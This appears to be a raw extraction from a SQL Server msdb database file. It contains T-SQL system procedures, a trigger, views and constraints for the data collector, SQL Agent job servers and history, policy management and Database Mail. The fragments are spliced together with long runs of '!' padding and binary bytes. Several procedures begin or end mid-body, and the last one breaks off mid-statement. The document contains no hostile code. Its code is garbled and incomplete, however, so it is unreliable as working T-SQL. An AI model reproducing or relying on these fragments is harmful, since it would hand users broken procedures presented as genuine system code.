!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`-B<,0+PyI0$0 @8CREATE DEFAULT default_zero AS 00E $0 q8CREATE PROCEDURE [dbo].[sp_syscollector_update_collection_item_internal]
    @collection_item_id        int = NULL,
    @name                    sysname = NULL,
    @new_name                sysname = NULL,
    @frequency                int = NULL,
    @parameters                xml = NULL
AS
BEGIN
    DECLARE @TranCounter INT
    SET @TranCounter = @@TRANCOUNT
    IF (@TranCounter > 0)
        SAVE TRANSACTION tran_update_collection_item
    ELSE
        BEGIN TRANSACTION
    BEGIN TRY
        UPDATE [dbo].[syscollector_collection_items_internal]
        SET
            name                = ISNULL(@new_name, name),
            frequency            = ISNULL(@frequency, frequency),
            parameters            = ISNULL(@parameters, parameters)
        WHERE @collection_item_id = collection_item_id

        IF (@TranCounter = 0)
            COMMIT TRANSACTION
        RETURN (0)
    END TRY
    BEGIN CATCH
        IF (@TranCounter = 0 OR XACT_STATE() = -1)
            ROLLBACK TRANSACTION
        ELSE IF (XACT_STATE() = 1)
            ROLLBACK TRANSACTION tran_update_collection_item

        DECLARE @ErrorMessage   NVARCHAR(4000);
        DECLARE @ErrorSeverity  INT;
        DECLARE @ErrorState     INT;
        DECLARE @ErrorNumber    INT;
        DECLARE @ErrorLine      INT;
        DECLARE @ErrorProcedure NVARCHAR(200);
        SELECT @ErrorLine = ERROR_LINE(),
               @ErrorSeverity = ERROR_SEVERITY(),
               @ErrorState = ERROR_STATE(),
               @ErrorNumber = ERROR_NUMBER(),
               @ErrorMessage = ERROR_MESSAGE(),
               @ErrorProcedure = ISNULL(ERROR_PROCEDURE(), '-');

        RAISERROR (14684, @ErrorSeverity, -1 , @ErrorNumber, @ErrorSeverity, @ErrorState, @ErrorProcedure, @ErrorLine, @ErrorMessage);
        
        RETURN (1)
    END CATCH
END
a multi-server job
    IF (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 0) 
    BEGIN
       RAISERROR(14398, -1, -1);
       RETURN(1) -- Failure
    END

    -- 2) Job must be owned by sysadmin
    SELECT @owner_sid = owner_sid, @owner_name = dbo.SQLAGENT_SUSER_SNAME(owner_sid)
    FROM msdb.dbo.sysjobs
    WHERE (job_id = @job_id)

    IF @owner_sid = 0xFFFFFFFF
    BEGIN
      SELECT @is_sysadmin = 1
    END
    ELSE
    BEGIN
      SELECT @is_sysadmin = 0
      EXECUTE msdb.dbo.sp_sqlagent_has_server_access @login_name = @owner_name, @is_sysadmin_member = @is_sysadmin OUTPUT
    END
    
    IF (@is_sysadmin = 0)
    BEGIN
      RAISERROR(14544, -1, -1, @owner_name, N'sysadmin')
      RETURN(1) -- Failure
    END

    -- 3) Check if any of the TSQL steps have a non-null database_user_name
    IF (EXISTS (SELECT *
                FROM msdb.dbo.sysjobsteps
                WHERE (job_id = @job_id)
                  AND (subsystem = N'TSQL')
                  AND (database_user_name IS NOT NULL)))
    BEGIN
      RAISERROR(14542, -1, -1, N'database_user_name')
      RETURN(1) -- Failure
    END

    SELECT @server_id = server_id
    FROM msdb.dbo.systargetservers
    WHERE (UPPER(server_name) = @server_name)
    IF (@server_id IS NULL)
    BEGIN
      RAISERROR(14262, -1, -1, '@server_name', @server_name)
      RETURN(1) -- Failure
    END
  END
  ELSE
    SELECT @server_id = 0

  -- Check that this job has not already been targeted at this server
  IF (EXISTS (SELECT *
               FROM msdb.dbo.sysjobservers
               WHERE (job_id = @job_id)
                 AND (server_id = @server_id)))
  BEGIN
    RAISERROR(14269, -1, -1, @job_name, @server_name)
    RETURN(1) -- Failure
  END

  -- Prevent the job from being targeted at both the local AND remote servers
  SELECT @job_type = 'UNKNOWN'
  IF (EXISTS (SELECT *
              FROM msdb.dbo.sysjobservers
              WHERE (job_id = @job_id)
                AND (server_id = 0)))
    SELECT @job_type = 'LOCAL'
  ELSE
  IF (EXISTS (SELECT *
              FROM msdb.dbo.sysjobservers
              WHERE (job_id = @job_id)
                AND (server_id <> 0)))
    SELECT @job_type = 'MULTI-SERVER'

  IF ((@server_id = 0) AND (@job_type = 'MULTI-SERVER'))
  BEGIN
    RAISERROR(14290, -1, -1)
    RETURN(1) -- Failure
  END
  IF ((@server_id <> 0) AND (@job_type = 'LOCAL'))
  BEGIN
    RAISERROR(14291, -1, -1)
    RETURN(1) -- Failure
  END

  -- For a multi-server job, check that any notifications are to the MSXOperator
  IF (@job_type = 'MULTI-SERVER')
  BEGIN
    SELECT @msx_operator_id = id
    FROM msdb.dbo.sysoperators
    WHERE (name = N'MSXOperator')

    IF (EXISTS (SELECT *
                FROM msdb.dbo.sysjobs
                WHERE (job_id = @job_id)
                  AND (((notify_email_operator_id <> 0)   AND (notify_email_operator_id <> @msx_operator_id)) OR
                       ((notify_page_operator_id <> 0)    AND (notify_page_operator_id <> @msx_operator_id))  OR
                       ((notify_netsend_operator_id <> 0) AND (notify_netsend_operator_id <> @msx_operator_id)))))
    BEGIN
      RAISERROR(14221, -1, -1, 'MSXOperator')
      RETURN(1) -- Failure
    END
  END

  -- Insert the sysjobservers row
  INSERT INTO msdb.dbo.sysjobservers
         (job_id,
          server_id,
          last_run_outcome,
          last_outcome_message,
          last_run_date,
          last_run_time,
          last_run_duration)
  VALUES (@job_id,
          @server_id,
          5,  -- ie. SQLAGENT_EXEC_UNKNOWN (can't use 0 since this is SQLAGENT_EXEC_FAIL)
          NULL,
          0,
          0,
          0)

  -- Re-categorize the job (if necessary)
  SELECT @current_job_category_type = CASE category_type
                                        WHEN 1 THEN 'LOCAL'
                                        WHEN 2 THEN 'MULTI-SERVER'
                                      END
  FROM msdb.dbo.sysjobs_view  sjv,
       msdb.dbo.syscategories sc
  WHERE (sjv.category_id = sc.category_id)
    AND (sjv.job_id = @job_id)

  IF (@server_id = 0) AND (@current_job_category_type = 'MULTI-SERVER')
  BEGIN
    UPDATE msdb.dbo.sysjobs
    SET category_id = 0 -- [Uncategorized (Local)]
    WHERE (job_id = @job_id)
  END
  IF (@server_id <> 0) AND (@current_job_category_type = 'LOCAL')
  BEGIN
    UPDATE msdb.dbo.sysjobs
    SET category_id = 2 -- [Uncategorized (Multi-Server)]
    WHERE (job_id = @job_id)
  END

  -- Instruct the new server to pick up the job
  IF (@automatic_post = 1)
    EXECUTE @retval = sp_post_msx_operation 'INSERT', 'JOB', @job_id, @server_name

  -- If the job is local, make sure that SQLServerAgent caches it
  IF (@server_id = 0)
  BEGIN
    EXECUTE msdb.dbo.sp_sqlagent_notify @op_type     = N'J',
                                        @job_id      = @job_id,
                                        @action_type = N'I'
  END

  RETURN(@retval) -- 0 means success
END
040 8([attachment_encoding]='UUENCODE' OR [attachment_encoding]='BINHEX' OR [attachment_encoding]='S/MIME' OR [attachment_encoding]='MIME')0o*Y0 Q8(CONVERT([sysname],serverproperty('ServerName')))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!d?`@,<x-C8	#30/ 8CREATE PROCEDURE [dbo].[sp_help_jobhistory]
  @job_id               UNIQUEIDENTIFIER = NULL,
  @job_name             sysname          = NULL,
  @step_id              INT              = NULL,
  @sql_message_id       INT              = NULL,
  @sql_severity         INT              = NULL,
  @start_run_date       INT              = NULL,     -- YYYYMMDD
  @end_run_date         INT              = NULL,     -- YYYYMMDD
  @start_run_time       INT              = NULL,     -- HHMMSS
  @end_run_time         INT              = NULL,     -- HHMMSS
  @minimum_run_duration INT              = NULL,     -- HHMMSS
  @run_status           INT              = NULL,     -- SQLAGENT_EXEC_X code
  @minimum_retries      INT              = NULL,
  @oldest_first         INT              = 0,        -- Or 1
  @server               sysname          = NULL,
  @mode                 VARCHAR(7)       = 'SUMMARY' -- Or 'FULL' or 'SEM'
AS
BEGIN
  DECLARE @retval   INT
  DECLARE @order_by INT  -- Must be INT since it can be -1

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @server   = LTRIM(RTRIM(@server))
  SELECT @mode     = LTRIM(RTRIM(@mode))

  -- Turn [nullable] empty string parameters into NULLs
  IF (@server = N'')   SELECT @server = NULL

  -- Check job id/name (if supplied)
  IF ((@job_id IS NOT NULL) OR (@job_name IS NOT NULL))
  BEGIN
    EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                                '@job_id',
                                                 @job_name OUTPUT,
                                                 @job_id   OUTPUT
    IF (@retval <> 0)
      RETURN(1) -- Failure
  END

  -- Check @start_run_date
  IF (@start_run_date IS NOT NULL)
  BEGIN
    EXECUTE @retval = sp_verify_job_date @start_run_date, '@start_run_date'
    IF (@retval <> 0)
      RETURN(1) -- Failure
  END

  -- Check @end_run_date
  IF (@end_run_date IS NOT NULL)
  BEGIN
    EXECUTE @retval = sp_verify_job_date @end_run_date, '@end_run_date'
    IF (@retval <> 0)
      RETURN(1) -- Failure
  END

  -- Check @start_run_time
  EXECUTE @retval = sp_verify_job_time @start_run_time, '@start_run_time'
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- Check @end_run_time
  EXECUTE @retval = sp_verify_job_time @end_run_time, '@end_run_time'
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- Check @run_status
  IF ((@run_status < 0) OR (@run_status > 5))
  BEGIN
    RAISERROR(14198, -1, -1, '@run_status', '0..5')
    RETURN(1) -- Failure
  END

  -- Check mode
  SELECT @mode = UPPER(@mode collate SQL_Latin1_General_CP1_CS_AS)
  IF (@mode NOT IN ('SUMMARY', 'FULL', 'SEM'))
  BEGIN
    RAISERROR(14266, -1, -1, '@mode', 'SUMMARY, FULL, SEM')
    RETURN(1) -- Failure
  END

  SELECT @order_by = -1
  IF (@oldest_first = 1)
    SELECT @order_by = 1

  DECLARE @distributed_job_history BIT 
  SET @distributed_job_history = 0
  
  IF (@job_id IS NOT NULL) AND ( EXISTS (SELECT *
                              FROM msdb.dbo.sysjobs       sj,
                                 msdb.dbo.sysjobservers sjs
                              WHERE (sj.job_id = sjs.job_id)
                                 AND (sj.job_id = @job_id)
                                 AND (sjs.server_id <> 0)))
   SET @distributed_job_history = 1

  -- Return history information filtered by the supplied parameters.
  -- Having actual queries in subprocedures allows better query plans because query optimizer sniffs correct parameters
  IF (@mode = 'FULL')
  BEGIN
  -- NOTE: SQLDMO relies on the 'FULL' format; ** DO NOT CHANGE IT **
      EXECUTE sp_help_jobhistory_full
         @job_id,
         @job_name,
         @step_id,
         @sql_message_id,
         @sql_severity,
         @start_run_date,
         @end_run_date,
         @start_run_time,
         @end_run_time,
         @minimum_run_duration,
         @run_status,
         @minimum_retries,
         @oldest_first,
         @server,
         @mode,
         @order_by,
         @distributed_job_history
  END
  ELSE
  IF (@mode = 'SUMMARY')
  BEGIN
    -- Summary format: same WHERE clause as for full, just a different SELECT list
    EXECUTE sp_help_jobhistory_summary
         @job_id,
         @job_name,
         @step_id,
         @sql_message_id,
         @sql_severity,
         @start_run_date,
         @end_run_date,
         @start_run_time,
         @end_run_time,
         @minimum_run_duration,
         @run_status,
         @minimum_retries,
         @oldest_first,
         @server,
         @mode,
         @order_by,
         @distributed_job_history
  END
  ELSE
  IF (@mode = 'SEM')
  BEGIN
    -- SQL Enterprise Manager format
    EXECUTE sp_help_jobhistory_sem
         @job_id,
         @job_name,
         @step_id,
         @sql_message_id,
         @sql_severity,
         @start_run_date,
         @end_run_date,
         @start_run_time,
         @end_run_time,
         @minimum_run_duration,
         @run_status,
         @minimum_retries,
         @oldest_first,
         @server,
         @mode,
         @order_by,
         @distributed_job_history
  END
  RETURN(0) -- Success
END
0/ 98
CREATE TRIGGER [dbo].[syspolicy_insert_policy_trigger] on [dbo].[syspolicy_policies_internal]
FOR INSERT
AS
BEGIN
    DECLARE @object_set_id int, @name sysname

	SELECT TOP 1 @object_set_id = i.object_set_id, @name = i.name 
	FROM inserted i 
	WHERE 1 < (SELECT count(*) FROM syspolicy_policies p WHERE p.object_set_id = i.object_set_id)

	IF @@ROWCOUNT > 0
	BEGIN
				DECLARE @os_name sysname, @policy_name sysname
				SELECT TOP 1 @os_name = os.object_set_name, @policy_name = p.name
				 FROM syspolicy_object_sets os 
					INNER JOIN syspolicy_policies p ON (os.object_set_id = p.object_set_id)
				WHERE os.object_set_id = @object_set_id AND p.name <> @name
				
				RAISERROR(34013, -1, -1, 'ObjectSet', @os_name, @policy_name) 
				ROLLBACK TRANSACTION
	END
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!?`C<.Lh0H0 ?8CREATE DEFAULT default_one AS 10X1 d8([importance]='HIGH' OR [importance]='NORMAL' OR [importance]='LOW')0NM1 %8((1))0~D1 8CREATE PROCEDURE [dbo].[sp_syscollector_update_collection_item]
    @collection_item_id        int = NULL,
    @name                    sysname = NULL,
    @new_name                sysname = NULL,
    @frequency                int = NULL,
    @parameters                xml = NULL
AS
BEGIN
    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_operator'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_operator')
        RETURN(1) -- Failure
    END

    -- Security checks (restrict functionality for non-dc_admin-s)
    IF ((NOT (ISNULL(IS_MEMBER(N'dc_admin'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1)) 
        AND (@new_name IS NOT NULL))
    BEGIN
        RAISERROR(14676, -1, -1, '@new_name', 'dc_admin')
        RETURN (1) -- Failure
    END
    IF ((NOT (ISNULL(IS_MEMBER(N'dc_admin'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
        AND (@parameters IS NOT NULL))
    BEGIN
        RAISERROR(14676, -1, -1, '@parameters', 'dc_admin')
        RETURN (1) -- Failure
    END

    DECLARE @retVal int
    EXEC @retVal = dbo.sp_syscollector_verify_collection_item @collection_item_id OUTPUT, @name OUTPUT
    IF (@retVal <> 0)
        RETURN (@retVal)

    IF (@frequency < 5)
    BEGIN
        DECLARE @frequency_as_char VARCHAR(36)
        SELECT @frequency_as_char = CONVERT(VARCHAR(36), @frequency)
        RAISERROR(21405, 16, -1, @frequency_as_char, '@frequency', 5)
        RETURN (1)
    END

    IF (LEN(@new_name) = 0)  -- can't rename to an empty string
    BEGIN
      RAISERROR(21263, -1, -1, '@new_name')
      RETURN(1) -- Failure
    END    

    -- Remove any leading/trailing spaces from parameters
    SET @new_name            = LTRIM(RTRIM(@new_name))

    DECLARE @collection_set_name sysname
    DECLARE @is_system              bit
    DECLARE @is_running             bit
    DECLARE @collector_type_uid     uniqueidentifier
    DECLARE @collection_set_id      int
    SELECT @is_running = s.is_running,
           @is_system = s.is_system,
           @collection_set_name = s.name,
           @collector_type_uid = i.collector_type_uid,
           @collection_set_id = s.collection_set_id
    FROM dbo.syscollector_collection_sets s,
         dbo.syscollector_collection_items i
    WHERE s.collection_set_id = i.collection_set_id
    AND i.collection_item_id = @collection_item_id

    IF (@is_system = 1 AND (@new_name IS NOT NULL OR @parameters IS NOT NULL))
    BEGIN
        -- cannot update, delete, or add new collection items to a system collection set
        RAISERROR(14696, -1, -1);
        RETURN (1)
    END

    IF (@parameters IS NOT NULL)
    BEGIN
        EXEC @retVal = dbo.sp_syscollector_validate_xml @collector_type_uid = @collector_type_uid, @parameters = @parameters
        IF (@retVal <> 0)
            RETURN (@retVal)
    END

    -- if the collection item is running, stop it before update
    IF (@is_running = 1)
    BEGIN
        EXEC @retVal = sp_syscollector_stop_collection_set @collection_set_id = @collection_set_id
        IF (@retVal <> 0)
            RETURN(1)
    END

    -- all conditions go, perform the update
    EXEC @retVal = sp_syscollector_update_collection_item_internal     
                            @collection_item_id = @collection_item_id,
                            @name = @name,
                            @new_name = @new_name,
                            @frequency = @frequency,
                            @parameters = @parameters
                        
    -- if you stopped the collection set, restart it
    IF (@is_running = 1)
    BEGIN
        EXEC @retVal = sp_syscollector_start_collection_set @collection_set_id = @collection_set_id
        IF (@retVal <> 0)
            RETURN (1)
    END
    
    RETURN (0)
END
09Jm1 :8CREATE VIEW dbo.sysutility_ucp_datafiles
AS
SELECT  [S].[urn]
        , [S].[parent_urn]
        , [S].[Growth]
        , [S].[GrowthType]
        , [S].[MaxSize]
        , [S].[Name]
        , [S].[Size]
        , [S].[UsedSpace]
        , [S].[FileName]
        , [S].[VolumeFreeSpace]
        , [S].[server_instance_name]
        , [S].[database_name]
        , [S].[filegroup_name]
        , [S].[powershell_path]
        , [S].[volume_name]
        , [S].[volume_device_id]
        , [S].[physical_server_name]
        , [S].[available_space] -- in bytes
        , CASE WHEN [S].[available_space] = 0.0 THEN 0.0 ELSE ([S].[UsedSpace] * 100)/[S].[available_space] END AS percent_utilization
        , [S].[processing_time]
FROM [dbo].[syn_sysutility_ucp_datafiles] S
                        @job_id   OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- The show-last-run-details flag must be either 1 or 0
  IF (@show_last_run_details <> 0)
    SELECT @show_last_run_details = 1

  IF (@show_last_run_details = 1)
  BEGIN
    -- List the servers that @job_name has been targeted at (INCLUDING last-run details)
    SELECT stsv.server_id,
           stsv.server_name,
           stsv.enlist_date,
           stsv.last_poll_date,
           sjs.last_run_date,
           sjs.last_run_time,
           sjs.last_run_duration,
           sjs.last_run_outcome,  -- Same as JOB_OUTCOME_CODE (SQLAGENT_EXEC_x)
           sjs.last_outcome_message
    FROM msdb.dbo.sysjobservers         sjs  LEFT OUTER JOIN
         msdb.dbo.systargetservers_view stsv ON (sjs.server_id = stsv.server_id)
    WHERE (sjs.job_id = @job_id)
  END
  ELSE
  BEGIN
    -- List the servers that @job_name has been targeted at (EXCLUDING last-run details)
    SELECT stsv.server_id,
           stsv.server_name,
           stsv.enlist_date,
           stsv.last_poll_date
    FROM msdb.dbo.sysjobservers         sjs  LEFT OUTER JOIN
         msdb.dbo.systargetservers_view stsv ON (sjs.server_id = stsv.server_id)
    WHERE (sjs.job_id = @job_id)
  END

  RETURN(@@error) -- 0 means success
END
0X1 d8([importance]='HIGH' OR [importance]='NORMAL' OR [importance]='LOW')0}v2 8([sensitivity]='CONFIDENTIAL' OR [sensitivity]='PRIVATE' OR [sensitivity]='PERSONAL' OR [sensitivity]='NORMAL')0Dj3 8
CREATE VIEW sysmail_allitems
AS
SELECT mailitem_id,
       profile_id,
       recipients,
       copy_recipients,
       blind_copy_recipients,
       subject,
       body,
       body_format,
       importance,
       sensitivity,
       file_attachments,
       attachment_encoding,
       query,
       execute_query_database,
       attach_query_result_as_file,
       query_result_header,
       query_result_width,
       query_result_separator,
       exclude_query_output,
       append_query_error,
       send_request_date,
       send_request_user,
       sent_account_id,
       CASE sent_status 
          WHEN 0 THEN 'unsent' 
          WHEN 1 THEN 'sent' 
          WHEN 3 THEN 'retrying' 
          ELSE 'failed' 
       END as sent_status,
       sent_date,
       last_mod_date,
       last_mod_user
FROM msdb.dbo.sysmail_mailitems
WHERE (send_request_user = SUSER_SNAME()) OR (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 1)

0NM1 %8((1))0rA2 +8(getdate())053 %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!~YY(`G<H/C&k0
5 %8((0))05 /8CREATE PROCEDURE [dbo].[sp_syscollector_get_collection_set_execution_status]
    @collection_set_id            int,
    @is_running                    int = NULL OUTPUT,
    @is_collection_running        int = NULL OUTPUT,
    @collection_job_state        int = NULL OUTPUT,
    @is_upload_running            int = NULL OUTPUT,
    @upload_job_state            int = NULL OUTPUT
WITH EXECUTE AS OWNER -- 'MS_DataCollectorInternalUser'
AS
BEGIN
    DECLARE @TranCounter INT
    SET @TranCounter = @@TRANCOUNT
    IF (@TranCounter > 0)
        SAVE TRANSACTION tran_get_execution_status
    ELSE
        BEGIN TRANSACTION

    BEGIN TRY

    DECLARE @xp_results TABLE (job_id             UNIQUEIDENTIFIER NOT NULL,
                            last_run_date         INT              NOT NULL,
                            last_run_time         INT              NOT NULL,
                            next_run_date         INT              NOT NULL,
                            next_run_time         INT              NOT NULL,
                            next_run_schedule_id  INT              NOT NULL,
                            requested_to_run      INT              NOT NULL, -- BOOL
                            request_source        INT              NOT NULL,
                            request_source_id     sysname          COLLATE database_default NULL,
                            running               INT              NOT NULL, -- BOOL
                            current_step          INT              NOT NULL,
                            current_retry_attempt INT              NOT NULL,
                            job_state             INT              NOT NULL)


    DECLARE @is_sysadmin INT
    SELECT @is_sysadmin = ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0)

    DECLARE @collection_job_id UNIQUEIDENTIFIER
    DECLARE @upload_job_id UNIQUEIDENTIFIER
    
    SELECT @collection_job_id = collection_job_id, @upload_job_id = upload_job_id 
    FROM dbo.syscollector_collection_sets WHERE collection_set_id = @collection_set_id

    DECLARE @agent_enabled int
    SELECT @agent_enabled = CAST(value_in_use AS int) FROM sys.configurations WHERE name = N'Agent XPs'

    --  initialize to 0  == not running state; when agent XPs are disabled, call to xp_sqlagent_enum_jobs is never made in 
    -- code below.  When Agent Xps are disabled agent would not be running, in this case, jobs will also be in 'not running" state
    SET @is_collection_running = 0  
    SET @is_upload_running = 0
    SET @collection_job_state = 0
    SET @upload_job_state = 0

    IF (@agent_enabled <> 0)
    BEGIN
        INSERT  INTO @xp_results    
        EXECUTE master.dbo.xp_sqlagent_enum_jobs @is_sysadmin, N'', @upload_job_id

        INSERT  INTO @xp_results    
